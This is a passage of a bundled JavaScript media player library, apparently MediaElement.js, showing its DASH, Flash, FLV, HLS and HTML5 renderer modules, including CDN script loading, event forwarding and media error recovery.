'native_dash', options: { prefix: 'native_dash', dash: { path: 'https://cdn.dashjs.org/latest/dash.all.min.js', debug: false, drm: {}, robustnessLevel: '' } }, canPlayType: function canPlayType(type) { return _constants.HAS_MSE && ['application/dash+xml'].indexOf(type.toLowerCase()) > -1; }, create: function create(mediaElement, options, mediaFiles) { var originalNode = mediaElement.originalNode, id = mediaElement.id + '_' + options.prefix, autoplay = originalNode.autoplay, children = originalNode.children; var node = null, dashPlayer = null; originalNode.removeAttribute('type'); for (var i = 0, total = children.length; i < total; i++) { children[i].removeAttribute('type'); } node = originalNode.cloneNode(true); options = Object.assign(options, mediaElement.options); var props = _mejs2.default.html5media.properties, events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']).filter(function (e) { return e !== 'error'; }), attachNativeEvents = function attachNativeEvents(e) { var event = (0, _general.createEvent)(e.type, mediaElement); mediaElement.dispatchEvent(event); }, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); node['get' + capName] = function () { return dashPlayer !== null ? node[propName] : null; }; node['set' + capName] = function (value) { if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) { if (propName === 'src') { var source = (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src ? value.src : value; node[propName] = source; if (dashPlayer !== null) { dashPlayer.reset(); for (var _i = 0, _total = events.length; _i < _total; _i++) { node.removeEventListener(events[_i], attachNativeEvents); } dashPlayer = NativeDash._createPlayer({ options: options.dash, id: id }); if (value && (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && _typeof(value.drm) === 'object') { dashPlayer.setProtectionData(value.drm); if ((0, _general.isString)(options.dash.robustnessLevel) && options.dash.robustnessLevel) { dashPlayer.getProtectionController().setRobustnessLevel(options.dash.robustnessLevel); } } dashPlayer.attachSource(source); if (autoplay) { dashPlayer.play(); } } } else { node[propName] = value; } } }; }; for (var _i2 = 0, _total2 = props.length; _i2 < _total2; _i2++) { assignGettersSetters(props[_i2]); } _window2.default['__ready__' + id] = function (_dashPlayer) { mediaElement.dashPlayer = dashPlayer = _dashPlayer; var dashEvents = dashjs.MediaPlayer.events, assignEvents = function assignEvents(eventName) { if (eventName === 'loadedmetadata') { dashPlayer.initialize(); dashPlayer.attachView(node); dashPlayer.setAutoPlay(false); if (_typeof(options.dash.drm) === 'object' && !_mejs2.default.Utils.isObjectEmpty(options.dash.drm)) { dashPlayer.setProtectionData(options.dash.drm); if ((0, _general.isString)(options.dash.robustnessLevel) && options.dash.robustnessLevel) { dashPlayer.getProtectionController().setRobustnessLevel(options.dash.robustnessLevel); } } dashPlayer.attachSource(node.getSrc()); } node.addEventListener(eventName, attachNativeEvents); }; for (var _i3 = 0, _total3 = events.length; _i3 < _total3; _i3++) { assignEvents(events[_i3]); } var assignMdashEvents = function assignMdashEvents(e) { if (e.type.toLowerCase() === 'error') { mediaElement.generateError(e.message, node.src); console.error(e); } else { var _event = (0, _general.createEvent)(e.type, mediaElement); _event.data = e; mediaElement.dispatchEvent(_event); } }; for (var eventType in dashEvents) { if (dashEvents.hasOwnProperty(eventType)) { dashPlayer.on(dashEvents[eventType], function (e) { return assignMdashEvents(e); }); } } }; if (mediaFiles && mediaFiles.length > 0) { for (var _i4 = 0, _total4 = mediaFiles.length; _i4 < _total4; _i4++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i4].type)) { node.setAttribute('src', mediaFiles[_i4].src); if (typeof mediaFiles[_i4].drm !== 'undefined') { options.dash.drm = mediaFiles[_i4].drm; } break; } } } node.setAttribute('id', id); originalNode.parentNode.insertBefore(node, originalNode); originalNode.autoplay = false; originalNode.style.display = 'none'; node.setSize = function (width, height) { node.style.width = width + 'px'; node.style.height = height + 'px'; return node; }; node.hide = function () { node.pause(); node.style.display = 'none'; return node; }; node.show = function () { node.style.display = ''; return node; }; node.destroy = function () { if (dashPlayer !== null) { dashPlayer.reset(); } }; var event = (0, _general.createEvent)('rendererready', node); mediaElement.dispatchEvent(event); mediaElement.promises.push(NativeDash.load({ options: options.dash, id: id })); return node; } }; _media.typeChecks.push(function (url) { return ~url.toLowerCase().indexOf('.mpd') ? 'application/dash+xml' : null; }); _renderer.renderer.add(DashNativeRenderer); },{"16":16,"17":17,"18":18,"19":19,"3":3,"7":7,"8":8}],11:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.PluginDetector = undefined; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _i18n = _dereq_(5); var _i18n2 = _interopRequireDefault(_i18n); var _renderer = _dereq_(8); var _general = _dereq_(18); var _constants = _dereq_(16); var _media = _dereq_(19); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var PluginDetector = exports.PluginDetector = { plugins: [], hasPluginVersion: function hasPluginVersion(plugin, v) { var pv = PluginDetector.plugins[plugin]; v[1] = v[1] || 0; v[2] = v[2] || 0; return pv[0] > v[0] || pv[0] === v[0] && pv[1] > v[1] || pv[0] === v[0] && pv[1] === v[1] && pv[2] >= v[2]; }, addPlugin: function addPlugin(p, pluginName, mimeType, activeX, axDetect) { PluginDetector.plugins[p] = PluginDetector.detectPlugin(pluginName, mimeType, activeX, axDetect); }, detectPlugin: function detectPlugin(pluginName, mimeType, activeX, axDetect) { var version = [0, 0, 0], description = void 0, ax = void 0; if (_constants.NAV.plugins !== null && _constants.NAV.plugins !== undefined && _typeof(_constants.NAV.plugins[pluginName]) === 'object') { description = _constants.NAV.plugins[pluginName].description; if (description && !(typeof _constants.NAV.mimeTypes !== 'undefined' && _constants.NAV.mimeTypes[mimeType] && !_constants.NAV.mimeTypes[mimeType].enabledPlugin)) { version = description.replace(pluginName, '').replace(/^\s+/, '').replace(/\sr/gi, '.').split('.'); for (var i = 0, total = version.length; i < total; i++) { version[i] = parseInt(version[i].match(/\d+/), 10); } } } else if (_window2.default.ActiveXObject !== undefined) { try { ax = new ActiveXObject(activeX); if (ax) { version = axDetect(ax); } } catch (e) { } } return version; } }; PluginDetector.addPlugin('flash', 'Shockwave Flash', 'application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash', function (ax) { var version = [], d = ax.GetVariable("$version"); if (d) { d = d.split(" ")[1].split(","); version = [parseInt(d[0], 10), parseInt(d[1], 10), parseInt(d[2], 10)]; } return version; }); var FlashMediaElementRenderer = { create: function create(mediaElement, options, mediaFiles) { var flash = {}; var isActive = false; flash.options = options; flash.id = mediaElement.id + '_' + flash.options.prefix; flash.mediaElement = mediaElement; flash.flashState = {}; flash.flashApi = null; flash.flashApiStack = []; var props = _mejs2.default.html5media.properties, assignGettersSetters = function assignGettersSetters(propName) { flash.flashState[propName] = null; var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); flash['get' + capName] = function () { if (flash.flashApi !== null) { if (typeof flash.flashApi['get_' + propName] === 'function') { var value = flash.flashApi['get_' + propName](); if (propName === 'buffered') { return { start: function start() { return 0; }, end: function end() { return value; }, length: 1 }; } return value; } else { return null; } } else { return null; } }; flash['set' + capName] = function (value) { if (propName === 'src') { value = (0, _media.absolutizeUrl)(value); } if (flash.flashApi !== null && flash.flashApi['set_' + propName] !== undefined) { try { flash.flashApi['set_' + propName](value); } catch (e) { } } else { flash.flashApiStack.push({ type: 'set', propName: propName, value: value }); } }; }; for (var i = 0, total = props.length; i < total; i++) { assignGettersSetters(props[i]); } var methods = _mejs2.default.html5media.methods, assignMethods = function assignMethods(methodName) { flash[methodName] = function () { if (isActive) { if (flash.flashApi !== null) { if (flash.flashApi['fire_' + methodName]) { try { flash.flashApi['fire_' + methodName](); } catch (e) { } } else { } } else { flash.flashApiStack.push({ type: 'call', methodName: methodName }); } } }; }; methods.push('stop'); for (var _i = 0, _total = methods.length; _i < _total; _i++) { assignMethods(methods[_i]); } var initEvents = ['rendererready']; for (var _i2 = 0, _total2 = initEvents.length; _i2 < _total2; _i2++) { var event = (0, _general.createEvent)(initEvents[_i2], flash); mediaElement.dispatchEvent(event); } _window2.default['__ready__' + flash.id] = function () { flash.flashReady = true; flash.flashApi = _document2.default.getElementById('__' + flash.id); if (flash.flashApiStack.length) { for (var _i3 = 0, _total3 = flash.flashApiStack.length; _i3 < _total3; _i3++) { var stackItem = flash.flashApiStack[_i3]; if (stackItem.type === 'set') { var propName = stackItem.propName, capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); flash['set' + capName](stackItem.value); } else if (stackItem.type === 'call') { flash[stackItem.methodName](); } } } }; _window2.default['__event__' + flash.id] = function (eventName, message) { var event = (0, _general.createEvent)(eventName, flash); if (message) { try { event.data = JSON.parse(message); event.details.data = JSON.parse(message); } catch (e) { event.message = message; } } flash.mediaElement.dispatchEvent(event); }; flash.flashWrapper = _document2.default.createElement('div'); if (['always', 'sameDomain'].indexOf(flash.options.shimScriptAccess) === -1) { flash.options.shimScriptAccess = 'sameDomain'; } var autoplay = mediaElement.originalNode.autoplay, flashVars = ['uid=' + flash.id, 'autoplay=' + autoplay, 'allowScriptAccess=' + flash.options.shimScriptAccess, 'preload=' + (mediaElement.originalNode.getAttribute('preload') || '')], isVideo = mediaElement.originalNode !== null && mediaElement.originalNode.tagName.toLowerCase() === 'video', flashHeight = isVideo ? mediaElement.originalNode.height : 1, flashWidth = isVideo ? mediaElement.originalNode.width : 1; if (mediaElement.originalNode.getAttribute('src')) { flashVars.push('src=' + mediaElement.originalNode.getAttribute('src')); } if (flash.options.enablePseudoStreaming === true) { flashVars.push('pseudostreamstart=' + flash.options.pseudoStreamingStartQueryParam); flashVars.push('pseudostreamtype=' + flash.options.pseudoStreamingType); } if (flash.options.streamDelimiter) { flashVars.push('streamdelimiter=' + encodeURIComponent(flash.options.streamDelimiter)); } if (flash.options.proxyType) { flashVars.push('proxytype=' + flash.options.proxyType); } mediaElement.appendChild(flash.flashWrapper); mediaElement.originalNode.style.display = 'none'; var settings = []; if (_constants.IS_IE || _constants.IS_EDGE) { var specialIEContainer = _document2.default.createElement('div'); flash.flashWrapper.appendChild(specialIEContainer); if (_constants.IS_EDGE) { settings = ['type="application/x-shockwave-flash"', 'data="' + flash.options.pluginPath + flash.options.filename + '"', 'id="__' + flash.id + '"', 'width="' + flashWidth + '"', 'height="' + flashHeight + '\'"']; } else { settings = ['classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"', 'codebase="//download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"', 'id="__' + flash.id + '"', 'width="' + flashWidth + '"', 'height="' + flashHeight + '"']; } if (!isVideo) { settings.push('style="clip: rect(0 0 0 0); position: absolute;"'); } specialIEContainer.outerHTML = '<object ' + settings.join(' ') + '>' + ('<param name="movie" value="' + flash.options.pluginPath + flash.options.filename + '?x=' + new Date() + '" />') + ('<param name="flashvars" value="' + flashVars.join('&') + '" />') + '<param name="quality" value="high" />' + '<param name="bgcolor" value="#000000" />' + '<param name="wmode" value="transparent" />' + ('<param name="allowScriptAccess" value="' + flash.options.shimScriptAccess + '" />') + '<param name="allowFullScreen" value="true" />' + ('<div>' + _i18n2.default.t('mejs.install-flash') + '</div>') + '</object>'; } else { settings = ['id="__' + flash.id + '"', 'name="__' + flash.id + '"', 'play="true"', 'loop="false"', 'quality="high"', 'bgcolor="#000000"', 'wmode="transparent"', 'allowScriptAccess="' + flash.options.shimScriptAccess + '"', 'allowFullScreen="true"', 'type="application/x-shockwave-flash"', 'pluginspage="//www.macromedia.com/go/getflashplayer"', 'src="' + flash.options.pluginPath + flash.options.filename + '"', 'flashvars="' + flashVars.join('&') + '"']; if (isVideo) { settings.push('width="' + flashWidth + '"'); settings.push('height="' + flashHeight + '"'); } else { settings.push('style="position: fixed; left: -9999em; top: -9999em;"'); } flash.flashWrapper.innerHTML = '<embed ' + settings.join(' ') + '>'; } flash.flashNode = flash.flashWrapper.lastChild; flash.hide = function () { isActive = false; if (isVideo) { flash.flashNode.style.display = 'none'; } }; flash.show = function () { isActive = true; if (isVideo) { flash.flashNode.style.display = ''; } }; flash.setSize = function (width, height) { flash.flashNode.style.width = width + 'px'; flash.flashNode.style.height = height + 'px'; if (flash.flashApi !== null && typeof flash.flashApi.fire_setSize === 'function') { flash.flashApi.fire_setSize(width, height); } }; flash.destroy = function () { flash.flashNode.remove(); }; if (mediaFiles && mediaFiles.length > 0) { for (var _i4 = 0, _total4 = mediaFiles.length; _i4 < _total4; _i4++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i4].type)) { flash.setSrc(mediaFiles[_i4].src); break; } } } return flash; } }; var hasFlash = PluginDetector.hasPluginVersion('flash', [10, 0, 0]); if (hasFlash) { _media.typeChecks.push(function (url) { url = url.toLowerCase(); if (url.startsWith('rtmp')) { if (~url.indexOf('.mp3')) { return 'audio/rtmp'; } else { return 'video/rtmp'; } } else if (/\.og(a|g)/i.test(url)) { return 'audio/ogg'; } else if (~url.indexOf('.m3u8')) { return 'application/x-mpegURL'; } else if (~url.indexOf('.mpd')) { return 'application/dash+xml'; } else if (~url.indexOf('.flv')) { return 'video/flv'; } else { return null; } }); var FlashMediaElementVideoRenderer = { name: 'flash_video', options: { prefix: 'flash_video', filename: 'mediaelement-flash-video.swf', enablePseudoStreaming: false, pseudoStreamingStartQueryParam: 'start', pseudoStreamingType: 'byte', proxyType: '', streamDelimiter: '' }, canPlayType: function canPlayType(type) { return ~['video/mp4', 'video/rtmp', 'audio/rtmp', 'rtmp/mp4', 'audio/mp4', 'video/flv', 'video/x-flv'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementVideoRenderer); var FlashMediaElementHlsVideoRenderer = { name: 'flash_hls', options: { prefix: 'flash_hls', filename: 'mediaelement-flash-video-hls.swf' }, canPlayType: function canPlayType(type) { return ~['application/x-mpegurl', 'application/vnd.apple.mpegurl', 'audio/mpegurl', 'audio/hls', 'video/hls'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementHlsVideoRenderer); var FlashMediaElementMdashVideoRenderer = { name: 'flash_dash', options: { prefix: 'flash_dash', filename: 'mediaelement-flash-video-mdash.swf' }, canPlayType: function canPlayType(type) { return ~['application/dash+xml'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementMdashVideoRenderer); var FlashMediaElementAudioRenderer = { name: 'flash_audio', options: { prefix: 'flash_audio', filename: 'mediaelement-flash-audio.swf' }, canPlayType: function canPlayType(type) { return ~['audio/mp3'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementAudioRenderer); var FlashMediaElementAudioOggRenderer = { name: 'flash_audio_ogg', options: { prefix: 'flash_audio_ogg', filename: 'mediaelement-flash-audio-ogg.swf' }, canPlayType: function canPlayType(type) { return ~['audio/ogg', 'audio/oga', 'audio/ogv'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementAudioOggRenderer); } },{"16":16,"18":18,"19":19,"2":2,"3":3,"5":5,"7":7,"8":8}],12:[function(_dereq_,module,exports){ 'use strict'; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(18); var _constants = _dereq_(16); var _media = _dereq_(19); var _dom = _dereq_(17); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var NativeFlv = { promise: null, load: function load(settings) { if (typeof flvjs !== 'undefined') { NativeFlv.promise = new Promise(function (resolve) { resolve(); }).then(function () { NativeFlv._createPlayer(settings); }); } else { settings.options.path = typeof settings.options.path === 'string' ? settings.options.path : 'https://cdn.jsdelivr.net/npm/flv.js@latest'; NativeFlv.promise = NativeFlv.promise || (0, _dom.loadScript)(settings.options.path); NativeFlv.promise.then(function () { NativeFlv._createPlayer(settings); }); } return NativeFlv.promise; }, _createPlayer: function _createPlayer(settings) { flvjs.LoggingControl.enableDebug = settings.options.debug; flvjs.LoggingControl.enableVerbose = settings.options.debug; var player = flvjs.createPlayer(settings.options, settings.configs); _window2.default['__ready__' + settings.id](player); return player; } }; var FlvNativeRenderer = { name: 'native_flv', options: { prefix: 'native_flv', flv: { path: 'https://cdn.jsdelivr.net/npm/flv.js@latest', cors: true, debug: false } }, canPlayType: function canPlayType(type) { return _constants.HAS_MSE && ['video/x-flv', 'video/flv'].indexOf(type.toLowerCase()) > -1; }, create: function create(mediaElement, options, mediaFiles) { var originalNode = mediaElement.originalNode, id = mediaElement.id + '_' + options.prefix; var node = null, flvPlayer = null; node = originalNode.cloneNode(true); options = Object.assign(options, mediaElement.options); var props = _mejs2.default.html5media.properties, events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']).filter(function (e) { return e !== 'error'; }), attachNativeEvents = function attachNativeEvents(e) { var event = (0, _general.createEvent)(e.type, mediaElement); mediaElement.dispatchEvent(event); }, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); node['get' + capName] = function () { return flvPlayer !== null ? node[propName] : null; }; node['set' + capName] = function (value) { if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) { if (propName === 'src') { node[propName] = (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src ? value.src : value; if (flvPlayer !== null) { var _flvOptions = {}; _flvOptions.type = 'flv'; _flvOptions.url = value; _flvOptions.cors = options.flv.cors; _flvOptions.debug = options.flv.debug; _flvOptions.path = options.flv.path; var _flvConfigs = options.flv.configs; flvPlayer.destroy(); for (var i = 0, total = events.length; i < total; i++) { node.removeEventListener(events[i], attachNativeEvents); } flvPlayer = NativeFlv._createPlayer({ options: _flvOptions, configs: _flvConfigs, id: id }); flvPlayer.attachMediaElement(node); flvPlayer.load(); } } else { node[propName] = value; } } }; }; for (var i = 0, total = props.length; i < total; i++) { assignGettersSetters(props[i]); } _window2.default['__ready__' + id] = function (_flvPlayer) { mediaElement.flvPlayer = flvPlayer = _flvPlayer; var flvEvents = flvjs.Events, assignEvents = function assignEvents(eventName) { if (eventName === 'loadedmetadata') { flvPlayer.unload(); flvPlayer.detachMediaElement(); flvPlayer.attachMediaElement(node); flvPlayer.load(); } node.addEventListener(eventName, attachNativeEvents); }; for (var _i = 0, _total = events.length; _i < _total; _i++) { assignEvents(events[_i]); } var assignFlvEvents = function assignFlvEvents(name, data) { if (name === 'error') { var message = data[0] + ': ' + data[1] + ' ' + data[2].msg; mediaElement.generateError(message, node.src); } else { var _event = (0, _general.createEvent)(name, mediaElement); _event.data = data; mediaElement.dispatchEvent(_event); } }; var _loop = function _loop(eventType) { if (flvEvents.hasOwnProperty(eventType)) { flvPlayer.on(flvEvents[eventType], function () { for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return assignFlvEvents(flvEvents[eventType], args); }); } }; for (var eventType in flvEvents) { _loop(eventType); } }; if (mediaFiles && mediaFiles.length > 0) { for (var _i2 = 0, _total2 = mediaFiles.length; _i2 < _total2; _i2++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i2].type)) { node.setAttribute('src', mediaFiles[_i2].src); break; } } } node.setAttribute('id', id); originalNode.parentNode.insertBefore(node, originalNode); originalNode.autoplay = false; originalNode.style.display = 'none'; var flvOptions = {}; flvOptions.type = 'flv'; flvOptions.url = node.src; flvOptions.cors = options.flv.cors; flvOptions.debug = options.flv.debug; flvOptions.path = options.flv.path; var flvConfigs = options.flv.configs; node.setSize = function (width, height) { node.style.width = width + 'px'; node.style.height = height + 'px'; return node; }; node.hide = function () { if (flvPlayer !== null) { flvPlayer.pause(); } node.style.display = 'none'; return node; }; node.show = function () { node.style.display = ''; return node; }; node.destroy = function () { if (flvPlayer !== null) { flvPlayer.destroy(); } }; var event = (0, _general.createEvent)('rendererready', node); mediaElement.dispatchEvent(event); mediaElement.promises.push(NativeFlv.load({ options: flvOptions, configs: flvConfigs, id: id })); return node; } }; _media.typeChecks.push(function (url) { return ~url.toLowerCase().indexOf('.flv') ? 'video/flv' : null; }); _renderer.renderer.add(FlvNativeRenderer); },{"16":16,"17":17,"18":18,"19":19,"3":3,"7":7,"8":8}],13:[function(_dereq_,module,exports){ 'use strict'; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(18); var _constants = _dereq_(16); var _media = _dereq_(19); var _dom = _dereq_(17); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var NativeHls = { promise: null, load: function load(settings) { if (typeof Hls !== 'undefined') { NativeHls.promise = new Promise(function (resolve) { resolve(); }).then(function () { NativeHls._createPlayer(settings); }); } else { settings.options.path = typeof settings.options.path === 'string' ? settings.options.path : 'https://cdn.jsdelivr.net/npm/hls.js@latest'; NativeHls.promise = NativeHls.promise || (0, _dom.loadScript)(settings.options.path); NativeHls.promise.then(function () { NativeHls._createPlayer(settings); }); } return NativeHls.promise; }, _createPlayer: function _createPlayer(settings) { var player = new Hls(settings.options); _window2.default['__ready__' + settings.id](player); return player; } }; var HlsNativeRenderer = { name: 'native_hls', options: { prefix: 'native_hls', hls: { path: 'https://cdn.jsdelivr.net/npm/hls.js@latest', autoStartLoad: false, debug: false } }, canPlayType: function canPlayType(type) { return _constants.HAS_MSE && ['application/x-mpegurl', 'application/vnd.apple.mpegurl', 'audio/mpegurl', 'audio/hls', 'video/hls'].indexOf(type.toLowerCase()) > -1; }, create: function create(mediaElement, options, mediaFiles) { var originalNode = mediaElement.originalNode, id = mediaElement.id + '_' + options.prefix, preload = originalNode.getAttribute('preload'), autoplay = originalNode.autoplay; var hlsPlayer = null, node = null, index = 0, total = mediaFiles.length; node = originalNode.cloneNode(true); options = Object.assign(options, mediaElement.options); options.hls.autoStartLoad = preload && preload !== 'none' || autoplay; var props = _mejs2.default.html5media.properties, events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']).filter(function (e) { return e !== 'error'; }), attachNativeEvents = function attachNativeEvents(e) { var event = (0, _general.createEvent)(e.type, mediaElement); mediaElement.dispatchEvent(event); }, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); node['get' + capName] = function () { return hlsPlayer !== null ? node[propName] : null; }; node['set' + capName] = function (value) { if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) { if (propName === 'src') { node[propName] = (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src ? value.src : value; if (hlsPlayer !== null) { hlsPlayer.destroy(); for (var i = 0, _total = events.length; i < _total; i++) { node.removeEventListener(events[i], attachNativeEvents); } hlsPlayer = NativeHls._createPlayer({ options: options.hls, id: id }); hlsPlayer.loadSource(value); hlsPlayer.attachMedia(node); } } else { node[propName] = value; } } }; }; for (var i = 0, _total2 = props.length; i < _total2; i++) { assignGettersSetters(props[i]); } _window2.default['__ready__' + id] = function (_hlsPlayer) { mediaElement.hlsPlayer = hlsPlayer = _hlsPlayer; var hlsEvents = Hls.Events, assignEvents = function assignEvents(eventName) { if (eventName === 'loadedmetadata') { var url = mediaElement.originalNode.src; hlsPlayer.detachMedia(); hlsPlayer.loadSource(url); hlsPlayer.attachMedia(node); } node.addEventListener(eventName, attachNativeEvents); }; for (var _i = 0, _total3 = events.length; _i < _total3; _i++) { assignEvents(events[_i]); } var recoverDecodingErrorDate = void 0, recoverSwapAudioCodecDate = void 0; var assignHlsEvents = function assignHlsEvents(name, data) { if (name === 'hlsError') { console.warn(data); data = data[1]; if (data.fatal) { switch (data.type) { case 'mediaError': var now = new Date().getTime(); if (!recoverDecodingErrorDate || now - recoverDecodingErrorDate > 3000) { recoverDecodingErrorDate = new Date().getTime(); hlsPlayer.recoverMediaError(); } else if (!recoverSwapAudioCodecDate || now - recoverSwapAudioCodecDate > 3000) { recoverSwapAudioCodecDate = new Date().getTime(); console.warn('Attempting to swap Audio Codec and recover from media error'); hlsPlayer.swapAudioCodec(); hlsPlayer.recoverMediaError(); } else { var message = 'Cannot recover, last media error recovery failed'; mediaElement.generateError(message, node.src); console.error(message); } break; case 'networkError': if (data.details === 'manifestLoadError') { if (index < total && mediaFiles[index + 1] !== undefined) { node.setSrc(mediaFiles[index++].src); node.load(); node.play(); } else { var _message = 'Network error'; mediaElement.generateError(_message, mediaFiles); console.error(_message); } } else { var _message2 = 'Network error'; mediaElement.generateError(_message2, mediaFiles); console.error(_message2); } break; default: hlsPlayer.destroy(); break; } return; } } var event = (0, _general.createEvent)(name, mediaElement); event.data = data; mediaElement.dispatchEvent(event); }; var _loop = function _loop(eventType) { if (hlsEvents.hasOwnProperty(eventType)) { hlsPlayer.on(hlsEvents[eventType], function () { for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return assignHlsEvents(hlsEvents[eventType], args); }); } }; for (var eventType in hlsEvents) { _loop(eventType); } }; if (total > 0) { for (; index < total; index++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[index].type)) { node.setAttribute('src', mediaFiles[index].src); break; } } } if (preload !== 'auto' && !autoplay) { node.addEventListener('play', function () { if (hlsPlayer !== null) { hlsPlayer.startLoad(); } }); node.addEventListener('pause', function () { if (hlsPlayer !== null) { hlsPlayer.stopLoad(); } }); } node.setAttribute('id', id); originalNode.parentNode.insertBefore(node, originalNode); originalNode.autoplay = false; originalNode.style.display = 'none'; node.setSize = function (width, height) { node.style.width = width + 'px'; node.style.height = height + 'px'; return node; }; node.hide = function () { node.pause(); node.style.display = 'none'; return node; }; node.show = function () { node.style.display = ''; return node; }; node.destroy = function () { if (hlsPlayer !== null) { hlsPlayer.stopLoad(); hlsPlayer.destroy(); } }; var event = (0, _general.createEvent)('rendererready', node); mediaElement.dispatchEvent(event); mediaElement.promises.push(NativeHls.load({ options: options.hls, id: id })); return node; } }; _media.typeChecks.push(function (url) { return ~url.toLowerCase().indexOf('.m3u8') ? 'application/x-mpegURL' : null; }); _renderer.renderer.add(HlsNativeRenderer); },{"16":16,"17":17,"18":18,"19":19,"3":3,"7":7,"8":8}],14:[function(_dereq_,module,exports){ 'use strict'; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(18); var _constants = _dereq_(16); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var HtmlMediaElement = { name: 'html5', options: { prefix: 'html5' }, canPlayType: function canPlayType(type) { var mediaElement = _document2.default.createElement('video'); if (_constants.IS_ANDROID && /\/mp(3|4)$/i.test(type) || ~['application/x-mpegurl', 'vnd.apple.mpegurl', 'audio/mpegurl', 'audio/hls', 'video/hls'].indexOf(type.toLowerCase()) && _constants.SUPPORTS_NATIVE_HLS) { return 'yes'; } else if (mediaElement.canPlayType) { return mediaElement.canPlayType(type.toLowerCase()).replace(/no/, ''); } else { return ''; } }, create: function create(mediaElement, options, mediaFiles) { var id = mediaElement.id + '_' + options.prefix; var isActive = false; var node = null; if (mediaElement.originalNode === undefined || mediaElement.originalNode === null) { node = _document2.default.createElement('audio'); mediaElement.appendChild(node); } else { node = mediaElement.originalNode; } node.setAttribute('id', id); var props = _mejs2.default.html5media.properties, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); node['get' + capName] = function () { return node[propName]; }; node['set' + capName] = function (value) { if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) { node[propName] = value; } }; }; for (var i = 0, _total = props.length; i < _total; i++) { assignGettersSetters(props[i]); } var events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']).filter(function (e) { return e !== 'error'; }), assignEvents = function assignEvents(eventName) { node.addEventListener(eventName, function (e) { if (isActive) { var _event = (0, _general.createEvent)(e.type, e.target); mediaElement.dispatchEvent(_event); } }); }; for (var _i = 0, _total2 = events.length; _i < _total2; _i++) { assignEvents(events[_i]); } node.setSize = function (width, height) { node.style.width = width + 'px'; node.style.height = height + 'px'; return node; }; node.hide = function () { isActive = false; node.style.display = 'none'; return node; }; node.show = function () { isActive = true; node.style.display = ''; return node; }; var index = 0, total = mediaFiles.length; if (total > 0) { for (; index < total; index++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[index].type)) { node.setAttribute('src', mediaFiles[index].src); break; } } } node.addEventListener('error', function (e) { if (e && e.target && e.target.error && e.target.error.code === 4 && isActive) { if (index < total && mediaFiles[index + 1] !== undefined) { node.src = mediaFiles[index++].src; node.load(); node.play(); } else { 